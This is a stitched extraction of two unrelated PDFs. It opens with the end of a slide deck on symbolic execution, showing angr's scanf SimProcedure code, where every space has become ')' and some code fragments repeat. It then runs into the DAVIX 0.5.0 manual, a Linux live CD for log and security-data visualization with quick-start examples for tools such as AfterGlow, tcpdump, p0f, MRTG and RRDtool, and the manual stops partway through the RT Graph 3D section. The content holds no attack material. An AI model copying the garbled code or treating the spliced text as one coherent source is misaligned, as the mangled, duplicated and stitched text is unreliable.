• Because)SimProcedures)are)library)hooks)written)in)Python,)it)has)
inaccuracy)
• If)you)encounter)path)explosion)or)inaccuracy,)you)can)do:)
1. Disable)the)SimProcedure)
2. Replace)the)SimProcedure)with)something)written)directly)to)the)situation)
in)question)
3. Fix)the)SimProcedure))
Symbolic Function(scanf)
• Source)code:)
https://github.com/angr/angr/blob/master/angr/procedures/libc/
scanf.py)
• Get)first)argument(pointer)to)format)string))
1. Define)function)return)type)by)the)architecture)
2. Parse)format)string)
3. According)format)string,)read)input)from)file)descriptor)0(i.e.,)
standard)input))
4. Do)the)read)operation)
Symbolic Function(scanf)
class)SimProcedure(object):)
))))@staticmethod)
))))def)ty_ptr(self,)ty):)
))))))))return)SimTypePointer(self.arch,)ty))
class)FormatParser(SimProcedure):)
))))def)_parse(self,)fmt_idx):)
))))""")
))))fmt_idx:)The)index)of)the)(pointer)to)the))format)string)in)the)arguments)
list.)
))))"""
def)interpret(self,)addr,)startpos,)args,)region=None):)
))))""")
))))Interpret)a)format)string,)reading)the)data)at)`addr`)in)`region`)into)`args`)
starting)at)`startpos`.)
))))"""
Symbolic Function(scanf)
from)angr.procedures.stubs.format_parser)import)FormatParser)
from)angr.sim_type)import)SimTypeInt,)SimTypeString)
class)scanf(FormatParser):)
))))def)run(self,)fmt):)
))))))))self.argument_types)=){0:)self.ty_ptr(SimTypeString())})
))))))))self.return_type)=)SimTypeInt(self.state.arch.bits,)True))
))))))))fmt_str)=)self._parse(0))
))))))))f)=)self.state.posix.get_file(0))
))))))))region)=)f.content)
))))))))start)=)f.pos)
))))))))(end,)items))=)fmt_str.interpret(start,)1,)self.arg,)region=region))
))))))))#)do)the)read,)correcting)the)internal)file)position)and)logging)the)action)
))))))))self.state.posix.read_from(0,)end)-)start))
))))))))return)items
def _parse(self, fmt_idx):
int)scanf)()const)char)*)format,)...));)
scanf)("%d",&i);)
int)sscanf)()const)char)*)s,)const)char)
*)format,)...);)
sscanf)(sentence,"%s)%*s)%d",str,&i);)
fmt_str)=)self._parse(1))
fmt_str)=)self._parse(0))
def _parse(self, fmt_idx):
int)scanf)()const)char)*)format,)...));)
scanf)("%d",&i);)
int)sscanf)()const)char)*)s,)const)char)
*)format,)...);)
sscanf)(sentence,"%s)%*s)%d",str,&i);)
f)=)self.state.posix.get_file(0))
region)=)f.content)
start)=)f.pos)
(end,)items))=)fmt_str.interpret(start,)
1,)self.arg,)region=region))
_,)items)=)
fmt_str.interpret(self.arg(0),)2,)
self.arg,)region=self.state.memory))
References
• Symbolic)execution)wiki:)
https://en.wikipedia.org/wiki/Symbolic_execution)
• GDB)Python)API:)
https://sourceware.org/gdb/onlinedocs/gdb/Python-API.html)
• Triton:)https://triton.quarkslab.com/)
• Peda:)https://github.com/longld/peda)
• Ponce:)https://github.com/illera88/Ponce)
• Angr:)http://angr.io/)
References
• KLEE:)https://klee.github.io/)
• Symbolic)execution)versus)Concolic)execution:)
https://github.com/JonathanSalwan/Triton/issues/284)
• KLEE)library)call)explained:)
https://dimjasevic.net/marko/2016/06/03/klee-it-aint-gonna-do-
much-without-libraries/)
Q & A
[email protected])
@bananaappletw)
) | pdf |
1 / 111
DAVIX
The Data Analysis and Visualization Linux®
Version 0.5.0
Authors:
Jan P. Monsch, jan döt monsch ät iplosion döt com
Raffael Marty, raffy ät secviz döt org
2 / 111
Contents
1.
DAVIX - Visualize Your Logs!..........................................................................4
1.1.
Introduction ................................................................................................4
1.2.
Roadmap ....................................................................................................4
2.
Quick Start Guide...............................................................................................5
2.1.
Download ...................................................................................................5
2.2.
Burn ...........................................................................................................6
2.3.
Boot............................................................................................................8
2.4.
Analyze ......................................................................................................9
2.5.
What to Do Next?.....................................................................................10
3.
Tools - Showing You the Ropes .......................................................................12
3.1.
AfterGlow (PV)........................................................................................13
3.2.
ChartDirector (V) .....................................................................................15
3.3.
Cytoscape (V)...........................................................................................16
3.4.
EtherApe (V)............................................................................................18
3.5.
GGobi (V) ................................................................................................19
3.6.
glTail (V)..................................................................................................21
3.7.
GNUplot (V).............................................................................................22
3.8.
Graphviz (V).............................................................................................24
3.9.
GUESS (V)...............................................................................................26
3.10.
InetVis (V)............................................................................................28
3.11.
Large Graph Layout - LGL (V).............................................................30
3.12.
Mondrian (V)........................................................................................35
3.13.
MRTG (V)............................................................................................37
3.14.
NVisionIP (V).......................................................................................39
3.15.
Parvis (V) .............................................................................................42
3.16.
Ploticus (V)...........................................................................................44
3.17.
p0f (C)..................................................................................................45
3.18.
R Project (V).........................................................................................46
3.19.
RRDtool (V).........................................................................................49
3.20.
RT Graph 3D (V)..................................................................................50
3.21.
rumint (V).............................................................................................52
3.22.
Scapy (CPV).........................................................................................54
3.23.
Shell Tools (P)......................................................................................57
3.24.
Shoki Packet Hustler (V).......................................................................58
3.25.
tcpdump (C)..........................................................................................60
3.26.
Timesearcher 1 (V) ...............................................................................61
3.27.
tnv (V)..................................................................................................63
3.28.
Treemap (V) .........................................................................................65
3.29.
Tulip (V)...............................................................................................67
3.30.
Walrus (V)............................................................................................69
3.31.
Wireshark (C) .......................................................................................71
4.
Customizing DAVIX ISO Image ......................................................................73
4.1.
Windows ..................................................................................................73
4.2.
Linux........................................................................................................74
4.3.
Adding and Removing Modules................................................................75
4.4.
Overriding Files with rootcopy .................................................................75
4.5.
Modifying Boot Menu ..............................................................................75
3 / 111
4.6.
Boot Cheat Codes .....................................................................................76
5.
Creating and Modifying Modules .....................................................................77
5.1.
Leverage Existing SLAX Modules............................................................77
5.2.
Create New Modules from Slackware Packages........................................77
5.3.
Customize Existing SLAX or DAVIX Modules........................................78
6.
Deployment Options.........................................................................................79
6.1.
VMware ...................................................................................................79
6.1.1.
Virtual Machine Setup ......................................................................79
6.1.2.
CD-ROM based Boot........................................................................80
6.1.3.
Installation on Virtual Hard Drive .....................................................80
6.2.
Other Virtualization Environments............................................................81
6.3.
USB Stick.................................................................................................82
6.3.1.
On Windows with VFAT Formatted USB Stick ................................82
6.3.2.
On Linux with VFAT Formatted USB Stick......................................85
6.3.3.
On Linux with xfs Formatted USB Stick ...........................................86
6.4.
Hard Drive................................................................................................89
7.
Hardware..........................................................................................................93
7.1.
Physical Machines ....................................................................................93
7.1.1.
Hardware Known to Work ................................................................93
7.1.2.
Incompatible Hardware.....................................................................95
7.2.
Virtual Machines ......................................................................................96
8.
Networking ......................................................................................................97
8.1.
LAN networking.......................................................................................97
8.2.
Wireless Networking ................................................................................97
8.2.1.
Kernel Supported Drivers..................................................................97
8.2.2.
NDISwrapper....................................................................................99
9.
Graphic Cards.................................................................................................100
9.1.
OpenGL..................................................................................................100
9.2.
Multi-Head Support................................................................................100
10.
FAQ ...........................................................................................................101
11.
Acknowledgements ....................................................................................102
12.
Licenses......................................................................................................103
12.1.
Software .............................................................................................103
12.2.
Sublicense Attribution.........................................................................103
12.3.
Documentation....................................................................................103
13.
Disclaimer ..................................................................................................104
14.
Versioning..................................................................................................105
15.
GNU Free Documentation License .............................................................106
4 / 111
1.
DAVIX - Visualize Your Logs!
1.1.
Introduction
Need help understanding gigabytes of logs? Your OS performance metrics do not
make sense? You want to analyze your SAP user permissions? Then DAVIX, the live
CD for visualizing IT data, is your answer!
DAVIX - the Data Analysis & Visualization Linux® - brings the most important free
tools for data processing and visualization to your desk. There is no hassle with
installing an operating system or struggle to build the necessary tools to get started
with visualization. You can completely dedicate your time to data analysis.
The DAVIX CD is based on SLAX 6.0.x1 by Tomáš Matějíček and features broad
out-of-the-box hardware support for graphic cards and network adapters. SLAX is
based on Slackware and follows a modularized approach. Thus, the SLAX ISO image
can easily be customized for various purposes. It can even be installed on USB sticks
and provide you with mobile analysis capabilities.
The product is shipped with a comprehensive manual that gives you a quick start for
all tools and provides information on how-to tailor DAVIX to your needs. All tools
are accessible through the KDE start menu and accompanied with links to external
manuals and tutorials. Therefore, all information to get started with the tools is
available at a click of a button.
DAVIX is also part of Raffael's upcoming book Applied Security Visualization that
will be published by Addison Wesley Professional2.
1.2.
Roadmap
The first release of DAVIX is just the start. In the future, we would like establish
DAVIX as the number one choice for log analysts. In particular we will improve
following areas:
• More parser support for specific log formats,
• Data format converters for the visualization tools,
• More visualization tools,
• Support for distributed log processing,
• Integrated UI that will allow easy orchestration of the different tools.
1 SLAX: http://www.slax.org/
2 Applied Security Visualization: http://www.informit.com/store/product.aspx?isbn=0321510100
5 / 111
2.
Quick Start Guide
Starting to use DAVIX is as simple as counting from 1 to 4:
1. Download the ISO image,
2. Burn it onto a CD-ROM or DVD,
3. Boot the CD on your PC,
4. Analyze your data.
2.1.
Download
The DAVIX ISO image can be downloaded from several locations around the world.
Please select one of the mirrors closest to you. Since web browsers on occasion
corrupt large downloads, we recommend using wget3 for downloading the ISO.
Main Server:
• Switzerland:
http://82.197.185.121/davix/release/davix-0.5.0.iso.gz
Mirrors
• Germany:
http://bastard.codenomad.com/davix/davix-0.5.0.iso.gz
• United States:
http://depot.unixfoo.ch/davix/davix-0.5.0.iso.gz
• United States:
http://www.noaccess.com/davix/davix-0.5.0.iso.gz
• United States:
http://www.geekceo.com/davix/davix-0.5.0.iso.gz
As a nice side effect of using wget, you can resume downloads by using the -c
command line option when the connection got interrupted:
wget -c http://mirror.foo.bar/ davix-0.5.0.iso.gz
After download check the size and the integrity4 of the ISO image. The MD5 hash and
the file size are published on the DAVIX homepage5.
3 For Win32 wget can found as part of the GNU utilities for Win32: http://unxutils.sourceforge.net/
4 The UNIX tool md5sum can be used to calculate the MD5 hash. The utility is also part of the GNU utilities for Win32.
5 DAVIX Homepage: http://davix.secviz.org/
6 / 111
2.2.
Burn
Utilize any CD or DVD burning software of your liking and burn the ISO image on to
a CD-ROM or DVD. The following screenshots show how to use Nero Burning
ROM6 for this task.
• Open Nero Burning ROM from the Windows start menu.
• In the Windows menu choose Recorder\Burn Image... and select in the file
dialog the ISO image you want to burn.
• Select the burn options and press the button Burn.
6 Nero Burning ROM: http://www.nero.com/
7 / 111
• When the burning progress dialog is shown, select the option Verify written
data.
• The CD or DVD will now be burned. This can take a while to finish.
8 / 111
2.3.
Boot
After CD creation reboot the computer. On some systems the BIOS is configured to
boot directly from CD or DVD when a disk is located in the drive. On other systems it
might be necessary to press a key during the BIOS boot screen for a displaying a boot
menu, e.g. on a Dell Inspiron 6000 or Lenovo ThinkPad T60 you have to press F12. If
you do not like the default boot behavior you can change it in the BIOS setup menu.
When DAVIX starts a boot menu is displayed. Here you can select the boot option. In
most cases the first option DAVIX Graphics mode (KDE) will be the one to go for. It
will take you directly to the KDE desktop.
9 / 111
2.4.
Analyze
To find out what tools are available on DAVIX, take a look at the KDE start menu.
The top four entries contain the modules provided by DAVIX. To simplify
documentation access we have provided the links to the tool homepages and tutorials
in the KDE start menu. Additionally, each tool menu offers direct access into DAVIX
manual for a quick start example.
You can access the manual through the desktop short cut:
Alternatively, you can access the manual chapter wise through the KDE start menu:
10 / 111
If you see a console symbol next to the tool it means that selecting the menu will
cause a console to open and some form of help is shown. The tool it self is not
executed. You will be required to do that yourself.
It is your turn now to find out what all these tools can do and start analyzing your logs.
If you do not know what you can analyze or visualize, check the tool tutorials or get
inspired by visiting secviz.org7. We have included usage examples for each of the
tools in the chapter Tools - Showing You the Ropes.
2.5.
What to Do Next?
The chapter Tools - Showing You the Ropes gives an overview of the most important
tools found on the DAVIX CD as well as a quick start example for each tool.
If you are requiring information on an intermediate level, we recommend reading
Raffael's book Applied Security Visualization8. A rough cuts version of the book is
available on the Internet9. The book gives a very good introduction to visualization
and introduces a use-case driven approach. It offers various case examples and shows
you hands-on how to get from the log file to the visualization. Another good book on
the topic is Greg Conti's book Security Data Visualization10. It shows you many
samples on how security data can be visualized.
7 SecViz - Security Visualization: http://www.secviz.org/
8 Applied Security Visualization: http://www.informit.com/store/product.aspx?isbn=0321510100
9 Rough Cuts Version of the book Applied Security Visualization: http://safari.informit.com/9780321585530
10 Security Data Visualization: http://www.amazon.com/Security-Data-Visualization-Greg-
Conti/dp/1593271433?ie=UTF8&s=books&qid=1183891229&sr=8-1
11 / 111
Most likely you will stumble over a thing or two in DAVIX that you would like to
tweak. Or some of your favorite tools are not included with DAVIX. Well then it is
time to read the following chapters Customizing DAVIX ISO Image and Creating and
Modifying Modules.
12 / 111
3.
Tools - Showing You the Ropes
The important tools in DAVIX are organized in three categories depending on their
use within the analysis process:
• Capture (C)
• Process (P)
• Visualize (V)
Some tools have the ability to cover several parts of the analysis process. In the
following chapters the tool and its categories are noted in the chapter title.
All tools described in this manual are accessible through the system PATH. Therefore
it is generally not required to know the install location. To run a tool open a console
and then enter the first character of the tool's name and then press the tabulator key
for auto completion.
root@slax:~# ru<TABULATOR>
ruby rumint run-with-aspell
rubyforge run-parts runlevel
The entry point binaries of most tools are installed in /usr/local/bin. For others see the
section important install locations in the following tool chapters.
13 / 111
3.1.
AfterGlow (PV)
Purpose
• Tool to convert CSV input to a DOT graph description. AfterGlow takes a
configuration file that configures how the nodes and edges are represented in
the DOT file. The DOT file can then be graphed via Graphviz.
• In addition to the main tool, AfterGlow ships a set of tools to convert CSV
data into data formats that can be used with other visualization tools.
• Includes capper.pl script from Raffael Marty's book "Applied Security
Visualization".
Links
• Homepage
http://afterglow.sourceforge.net/
• Manual
http://afterglow.sourceforge.net/manual.html
Important installation locations
• /usr/local/bin
• /usr/local/share/afterglow
Example11
• Open a console.
• First a CSV file of sniffed network traffic has to be generated using the
command:
tcpdump -vttttnneli eth0 | tcpdump2csv.pl "sip dip dport" > sniff.csv
• Open Firefox and do some extended surfing.
• Press Ctrl-C in the console window where tcpdump is running.
• To transform the CSV file to a GraphViz dot file execute:
cat sniff.csv | afterglow.pl > sniff.dot
• To render the sniff.dot into a GIF file use the command:
neato -Tpng -o sniff.png sniff.dot
11 Example partly taken from AfterGlow manual: http://afterglow.sourceforge.net/
14 / 111
• To view the result open GQview with command: gqview
15 / 111
3.2.
ChartDirector (V)
Purpose
• Programming library to generate a wide variety of charts.
Links
• Homepage
http://www.advsofteng.com/
• Manual
file:///usr/local/share/chartdirector/doc/cdperl.htm
Important install locations
• /usr/lib/perl5/site_perl/5.8.8
• /usr/local/share/chartdirector
Example
• To generate a pie chart create a Perl script test.pl with the following contents:
#!/usr/bin/perl
use perlchartdir;
my $data = [10,20,25,10,5,40];
my $label = ["Dogs","Cats","Birds","Spiders","Rats","Mice"];
my $c = new PieChart(400, 300);
$c->setPieSize(200, 150, 75);
$c->setData($data, $label);
$c->makeChart("test.png");
• Then execute the script with the command: perl test.pl
• To view the result open GQview with the command: gqview
16 / 111
3.3.
Cytoscape (V)
Purpose
• Generation and display of two-dimensional link graphs.
Links
• Homepage:
http://www.cytoscape.org/
• Tutorial:
http://cytoscape.org/cgi-bin/moin.cgi/Presentations
Important install locations
• /usr/local/bin
• /usr/local/lib/cytoscape
• /usr/local/share/cytoscape
Example
• Start Cytoscape through the KDE start menu.
• In the file open dialog navigate to: /usr/local/share/cytoscape/sampleData
• Open one of the graphs in this directory, e.g. galFiltered.cys
17 / 111
• The data is then rendered.
18 / 111
3.4.
EtherApe (V)
Purpose
• Real-time visualization of network traffic.
Links
• Homepage:
http://etherape.sourceforge.net/
Important install locations
• /usr/local/bin
• /usr/local/etc/etherape
• /usr/local/share/etherape
Example
• Start EtherApe through the KDE start menu.
• EtherApe will go directly into monitoring mode.
• Open Firefox and generate some network traffic. EtherApe will then visualize
your network connections.
19 / 111
3.5.
GGobi (V)
Purpose
• Visualizes data with different graphs and allows brushing.
Links
• Homepage:
http://www.ggobi.org/
• Manual:
/usr/local/share/ggobi/manual/manual.pdf
• XML Input Format: /usr/local/share/ggobi/manual/xml.pdf
Important install locations:
• /etc/xdg/ggobi
• /usr/local/bin
• /usr/local/share/ggobi
Example
• Start GGobi through the KDE start menu.
• In the file open dialog navigate to: /usr/local/share/ggobi/data
20 / 111
• Open one of the graphs in this directory, e.g. Shipman.csv
• In the window menu select Display\New Parallel Coordinate Display.
• Activate the scatter plot window and the select Interaction\Brush in the main
window menu.
• Now you can move the yellow box around in the scatter plot and see how the
selection behaves in the other graph.
21 / 111
3.6.
glTail (V)
Purpose
• Real-time visualization of web server traffic.
Links
• Homepage:
http://www.fudgie.org/
Important install locations
• /usr/bin/
• /usr/lib/ruby/gems/1.8/doc/gltail-0.0.7
Example
• Execute the following command to generate a configuration file template:
gl_tail --new foobar.yaml
• Adjust the configuration file to your needs.
servers:
foobar:
host: foobar.com
port: 22
user: foo
password: topsecret
command: tail -f -n0
files: /var/log/apache/access_log
parser: apache
color: 0.2, 1.0, 0.2, 1.0
config:
...
• Execute the following command to start the visualization: gl_tail foobar.yaml
• Either wait for web server traffic or generate your own with Firefox.
22 / 111
3.7.
GNUplot (V)
Purpose
• Generation of various types of charts. Mainly used for simple charting.
Links
• Homepage:
http://www.gnuplot.info/
• Tutorial:
http://t16web.lanl.gov/Kawano/gnuplot/intro/basic-e.html
• Manual:
http://www.gnuplot.info/docs/gnuplot.html
Important install locations
• /usr/local/bin
• /usr/local/libexec/gnuplot
• /usr/local/share/gnuplot
Example
• Change to the following directory: cd /usr/local/share/gnuplot/demo/
• Execute the following command: gnuplot
root@slax:/usr/local/share/gnuplot/demo# gnuplot
G N U P L O T
Version 4.2 patchlevel 2
last modified 31 Aug 2007
System: Linux 2.6.24.4
Copyright (C) 1986 - 1993, 1998, 2004, 2007
Thomas Williams, Colin Kelley and many others
Type `help` to access the on-line reference manual.
The gnuplot FAQ is available from http://www.gnuplot.info/faq/
Send bug reports and suggestions to
<http://sourceforge.net/projects/gnuplot>
Terminal type set to 'x11'
23 / 111
• In the gnuplot command line enter: load "all.dem"
gnuplot> load "all.dem"
******************** file simple.dem ********************
Hit return to continue
• You can step through the different examples by pressing ENTER in the
gnuplot command line window. You can stop the interactive tour by pressing
Ctrl-C.
24 / 111
3.8.
Graphviz (V)
Purpose
• Generation of two-dimensional of link graphs.
Links
• Homepage
http://www.graphviz.org/
• Manual
http://www.graphviz.org/Documentation.php
• Tutorial dot
/usr/local/share/graphviz/doc/pdf/dotguide.pdf
• Tutorial neato /usr/local/share/graphviz/doc/pdf/neatoguide.pdf
Important install locations
• /usr/local/bin
• /usr/local/lib/graphviz
• /usr/local/share/graphviz
Example
• Generate a sample afterglow file with:
echo -e "a,b\nc,d\nc,e" | afterglow.pl > test.dot
• Execute the following command to start the interactive mode of neato: lneato
• Right click on the window and select load graph.
25 / 111
• In the file open dialog navigate to test.dot and open it.
• Then the link graph is displayed.
• Try the other options in the right click menu, e.g. birdseye view.
26 / 111
3.9.
GUESS (V)
Purpose
• Display and interaction with two-dimensional link graphs. Has a capability to
use a scripting language to process graphs.
Links
• Homepage
http://graphexploration.cond.org/documentation.html
• Tutorial
http://guess.wikispot.org/Tutorial
• Manual
http://guess.wikispot.org/manual
Important install locations
• /usr/local/bin
• /usr/local/lib/guess/lib
• /usr/local/share/guess
Example
• Start GUESS through the KDE start menu.
• Click the button Load GDF/GraphML.
• In the file dialog click the browse button (the one with the three dots) and
navigate to: /usr/local/share/guess/
• In the drop down list Files of Type select All Files.
27 / 111
• Open one of the graphs in this directory, e.g. sample.gdf.
• Acknowledge all the dialogs and wait for the graph to be loaded.
28 / 111
3.10. InetVis (V)
Purpose
• Real-time visualization of network traffic as a three-dimensional scatter plot.
Links
• Homepage
http://www.cs.ru.ac.za/research/g02v2468/inetvis.html
Important install locations
• /usr/local/bin
• /usr/local/share/inetvis
Example
• Start InetVis through the KDE start menu.
• In the InetVis Control Panel select the menu Mode\Monitor Local Host. Due
to a bug in the application you have to select the menu even when the flag is
already set. Otherwise you will not be able to monitor live traffic.
29 / 111
• Then open the browser and do some surfing in the Internet. In the 3D scatter
plot window you will see dots appear.
30 / 111
3.11. Large Graph Layout - LGL (V)
Purpose
• Generation of two- and three-dimensional link graphs.
Links
• Homepage
http://lgl.sourceforge.net/
Important install locations
• /usr/lib/perl5/site_perl/5.8.8
• /usr/local/bin
• /usr/local/etc
• /usr/local/lib/lgl
• /usr/local/share/lgl
Example 2D
• First a space separated file with the data has to be prepared:
echo -e "a b\nc d\nc e\ne d\nb e" > test.ncol
• Then the graph can be generated using the following command:
lgl2d test.ncol
root@slax:~# lgl2d test.ncol
LGLBREAKUP: /usr/local/bin//lglbreakup -d ./lgl/1210511733 ./lgl/test.lgl
Loading ./lgl/test.lgl...Done.
5 : Total Vertex Count
5 : Total Edge Count
Determining connected sets...
Found 1 connected sets.
Writing ./lgl/1210511733/0.lgl
5 : Vertex Count
5 : Edge Count
LGLAYOUT: /usr/local/bin//lglayout2D -o ./lgl/1210511733/0.coords -e -
l ./lgl/12
10511733/0.lgl
Reading in Graph from ./lgl/1210511733/0.lgl...
Vertex Count: 5
Edge Count: 5
Outer radius is set to 2.23607
Initializing 5 particles...Done.
Initializing grid and placing particles...Done.
Initializing handlers...Done.
Generating Tree and checking for root.
Nodes Checked: 6
Root Node: e
There are 2 levels.
Initializing 1 thread(s)...Done.
Iteration: 303 Dx: 0.724267 Level: 2
Final Settle
Iteration: 455 Dx: 0.745508 Level: 2
LGLREBUILD: /usr/local/bin//lglrebuild -o ./lgl/final.coords -
c ./lgl/coordFile
List
Total Total Connected Sets : 0
root@slax:~#
31 / 111
• To view the graph start LGL Viewer through the KDE start menu.
• In the window menu select File\Open .lgl file.
• From the directory where your test.ncol is located navigate down to the
subdirectory lgl and select test.lgl.
• In the window menu select File\Open 2D Coords file.
• From the directory where your test.ncol is located navigate down to the
subdirectory lgl and select final.coords.
• The graph should now be drawn.
32 / 111
• To display the node ids press in the tool bar section the radio button Show All
IDs.
33 / 111
Example 3D
• First a space separated file with the data has to be prepared:
echo -e "a b\nc d\nc e\ne d\nb e" > test.ncol
• Then the graph can be generated using the following command:
lgl3d test.ncol
root@slax:~# lgl3d test.ncol
LGLBREAKUP: /usr/local/bin//lglbreakup -d ./lgl/1210512148 ./lgl/test.lgl
Loading ./lgl/test.lgl...Done.
5 : Total Vertex Count
5 : Total Edge Count
Determining connected sets...
Found 1 connected sets.
Writing ./lgl/1210512148/0.lgl
5 : Vertex Count
5 : Edge Count
LGLAYOUT: /usr/local/bin//lglayout3D -o ./lgl/1210512148/0.coords -e -
l ./lgl/1210512148/0.lgl
Reading in Graph from ./lgl/1210512148/0.lgl...
Vertex Count: 5
Edge Count: 5
Outer radius is set to 1.70997
Initializing 5 particles...Done.
Initializing grid and placing particles...Done.
Initializing handlers...Done.
Generating Tree and checking for root.
Nodes Checked: 6
Root Node: e
There are 2 levels.
Initializing 1 thread(s)...Done.
Iteration: 303 Dx: 0.731679 Level: 2
Final Settle
Iteration: 455 Dx: 0.747695 Level: 2
- Done -
LGLREBUILD: /usr/local/bin//lglrebuild -o ./lgl/final.coords -
c ./lgl/coordFileList
Total Total Connected Sets : 0
Current Connected Set : 1
• To generate the VRML file use the following command:
genVrml.pl lgl/test.lgl lgl/final.coords
root@slax:~# genVrml.pl lgl/test.lgl lgl/final.coords
Loading coords...Done.
Generating node/text coordinates in VRML...Done.
Loading edges from file...Done.
Generating lines in VRML...Done.
Writing to lgl/final.coords.wrl...Done.
34 / 111
• To view the result start FreeWRL:
freewrl lgl/final.coords.wrl
35 / 111
3.12. Mondrian (V)
Purpose
• Generation and display of a variety of charts that are linked.
Links
• Homepage
http://rosuda.org/Mondrian/
Important install locations
• /usr/local/bin
• /usr/local/lib/mondrian
• /usr/local/share/mondrian
Example
• Start Mondrian through the KDE start menu.
• From the window menu select File\Open and open any one of the files found
in the directory /usr/local/share/mondrian/, e.g. Pollen.txt.
36 / 111
• In the Mondrian main window select any columns you like.
• In the window menu select Plot\Histogram. Two histogram windows should
appear.
• In the window menu select Plot\Scatterplot. A graph with a scatter plot should
appear.
• You can now select a bar in the histogram and see how the selected data is
represented in the other graphs.
37 / 111
3.13. MRTG (V)
Purpose
• Visualization of traffic load on network devices using SNMP queries.
Links
• Homepage
http://oss.oetiker.ch/mrtg/
• Installation Guide
http://oss.oetiker.ch/mrtg/doc/mrtg-unix-guide.en.html
Important install locations
• /usr/local/bin
• /usr/local/lib/mrtg2
• /usr/local/share/mrtg2
Example
• First you have to create a configuration file for you network device you want
to monitor. In our example we have chosen 192.168.16.5.
cfgmaker --global 'WorkDir: /tmp' --global 'Options[_]: bits,growright' --
output /tmp/mrtg.cfg [email protected]
• To initialize the database we have to run the following mrtg command a
couple of times. The error messages during the first two runs are normal.
mrtg /tmp/mrtg.cfg
mrtg /tmp/mrtg.cfg
mrtg /tmp/mrtg.cfg
• Create a cron job which calls mrtg every now and then using the command:
mrtg /tmp/mrtg.cfg
38 / 111
• After a couple of runs open file:///tmp/192.168.16.5_1.html in Firefox to view
the graph.
39 / 111
3.14. NVisionIP (V)
Purpose
• Animated two-dimensional scatter plot of ARGUS files.
Links
• Homepage
http://security.ncsa.uiuc.edu/distribution/NVisionIPDownLoad.html
• Quick Start Guide
http://security.ncsa.uiuc.edu/distribution/NVisionIPDownLoad.html#Run
Important install locations
• /usr/local/bin
• /usr/local/lib/NVisionIP
• /usr/local/share/NVisionIP
Example
• Start NVisionIP through the KDE start menu.
• In the window MultiDataSetChooser press the button Load.
40 / 111
• In the file open dialog navigate to: /usr/local/share/NVisionIP/samples
• Open one of the file in this directory, e.g. ArgusData_178_78.
• In the window MultiDataSetChooser enter into the field ClassB IP Header the
following value: 178.78.
• Press the button OK.
• The data set is now loaded.
41 / 111
• Move the slider bar at the bottom of the window to advance the scatter plot
across the time line.
42 / 111
3.15. Parvis (V)
Purpose
• Rendering of data as parallel coordinate display.
Links
• Homepage
http://home.subnet.at/flo/mv/parvis/
• Introduction
http://home.subnet.at/flo/mv/parvis/introduction.html
• User Manual http://home.subnet.at/flo/mv/parvis/documentation.html
Important install locations
• /usr/local/bin
• /usr/local/lib/parvis
• /usr/local/share/parvis
Example
• Start Parvis through the KDE start menu.
• In the window menu select File\Open.
• In the file open dialog navigate to: /usr/local/share/parvis/data
• Open one of the graphs in this directory, e.g. voyager.stf.
• In the toolbar press the Brush button.
• Now you can select lines you want to inspect in more detail. When you select
you do not select single lines. Instead you define an angle.
43 / 111
• To make a new selection, press the Reset All button in the toolbar.
44 / 111
3.16. Ploticus (V)
Purpose
• Generation of all kinds of charts.
Links
• Homepage
http://ploticus.sourceforge.net/doc/welcome.html
• Prefab Handbook
http://ploticus.sourceforge.net/doc/prefabs.html
Important install locations
• /usr/local/bin
• /usr/local/share/ploticus
Example
• Open a console.
• Create a file data.csv with following content:
Dogs,10
Cats,20
Birds,25
Spiders,10
Rats,5
Mice,40
• To generate a pie chart execute the command:
pl -prefab pie values=2 labels=1 data=data.csv delim=comma
45 / 111
3.17. p0f (C)
Purpose
• Identification of a remote host's operating system.
Links
• Homepage
http://lcamtuf.coredump.cx/p0f.shtml
Important install locations
• /etc/p0f
• /usr/sbin
Example
• Open a console.
• Execute command: p0f
• Open Firefox and surf to some site.
• The output of p0f reads as follows:
p0f - passive os fingerprinting utility, version 2.0.8
(C) M. Zalewski <[email protected]>, W. Stearns <[email protected]>
p0f: listening (SYN) on 'eth0', 262 sigs (14 generic, cksum 0F1F5CA2), rule:
'all'.
192.168.16.220:36390 - Linux 2.6 (newer, 2) (up: 4 hrs)
-> 216.92.151.5:80 (distance 0, link: ethernet/modem)
192.168.16.220:35442 - Linux 2.6 (newer, 2) (up: 4 hrs)
-> 216.92.177.115:80 (distance 0, link: ethernet/modem)
192.168.16.220:50819 - Linux 2.6 (newer, 2) (up: 4 hrs)
-> 209.85.161.147:80 (distance 0, link: ethernet/modem)
...
46 / 111
3.18. R Project (V)
Purpose
• Tool for statistical analysis that offers a great variety of graphing capabilities.
Links
• Homepage
http://www.r-project.org/
• Introduction
http://cran.r-project.org/doc/manuals/R-intro.html
• Manual
http://cran.r-project.org/manuals.html
Important install locations
• /usr/local/bin
• /usr/local/lib/R
Example
• Start R Project through the KDE start menu.
• After receiving the R command prompt you can start the demo by executing:
demo(graphics())
• Step through the demo by pressing ENTER.
47 / 111
• When you are back on the R command prompt you can start R Commander by
executing the command: library("Rcmdr")
• To load some sample data set select in the window menu Data\Data in
packages\Read data set from an attached package...
• Double click on the entry datasets.
• To visualize select in the window menu Graph\Histogram...
48 / 111
• In the Histogram configuration dialog select the variable you want to visualize,
e.g. height, and then acknowledge the dialog.
• The histogram is now plotted.
49 / 111
3.19. RRDtool (V)
Purpose
• A tool for graphing time series data.
Links
• Homepage
http://oss.oetiker.ch/rrdtool/
• Tutorial
http://oss.oetiker.ch/rrdtool/tut/rrdtutorial.en.html
Important install locations
• /usr/local/bin
• /usr/local/lib
• /usr/local/rrdtool-1.2.26
• /usr/local/share/rrdtool
Example12
• To set up the round robin database use the following command:
rrdtool create test.rrd --start 920804400 DS:speed:COUNTER:600:U:U
RRA:AVERAGE:0.5:1:24 RRA:AVERAGE:0.5:6:10
• To update the database with data use the following commands:
rrdtool update test.rrd 920804700:12345 920805000:12357 920805300:12363
rrdtool update test.rrd 920805600:12363 920805900:12363 920806200:12373
rrdtool update test.rrd 920806500:12383 920806800:12393 920807100:12399
rrdtool update test.rrd 920807400:12405 920807700:12411 920808000:12415
rrdtool update test.rrd 920808300:12420 920808600:12422 920808900:12423
• The following command generates a PNG file with the graph:
rrdtool graph speed.png --start 920804400 --end 920808000
DEF:myspeed=test.rrd:speed:AVERAGE LINE2:myspeed#FF0000
• Open GQview and view image speed.png
12 Partly taken from RRDtool Tutorial: http://oss.oetiker.ch/rrdtool/tut/rrdtutorial.en.html
50 / 111
3.20. RT Graph 3D (V)
Purpose
• Real-time 3D visualization of linked graphs.
Links
• Homepage
http://www.secdev.org/projects/rtgraph3d/
Important install locations
• /usr/local/bin
• /usr/local/lib/rtgraph3d
Example
• Start RT Graph 3D Server through the KDE start menu.
• Wait until the window named RealTime Graph 3D appears.
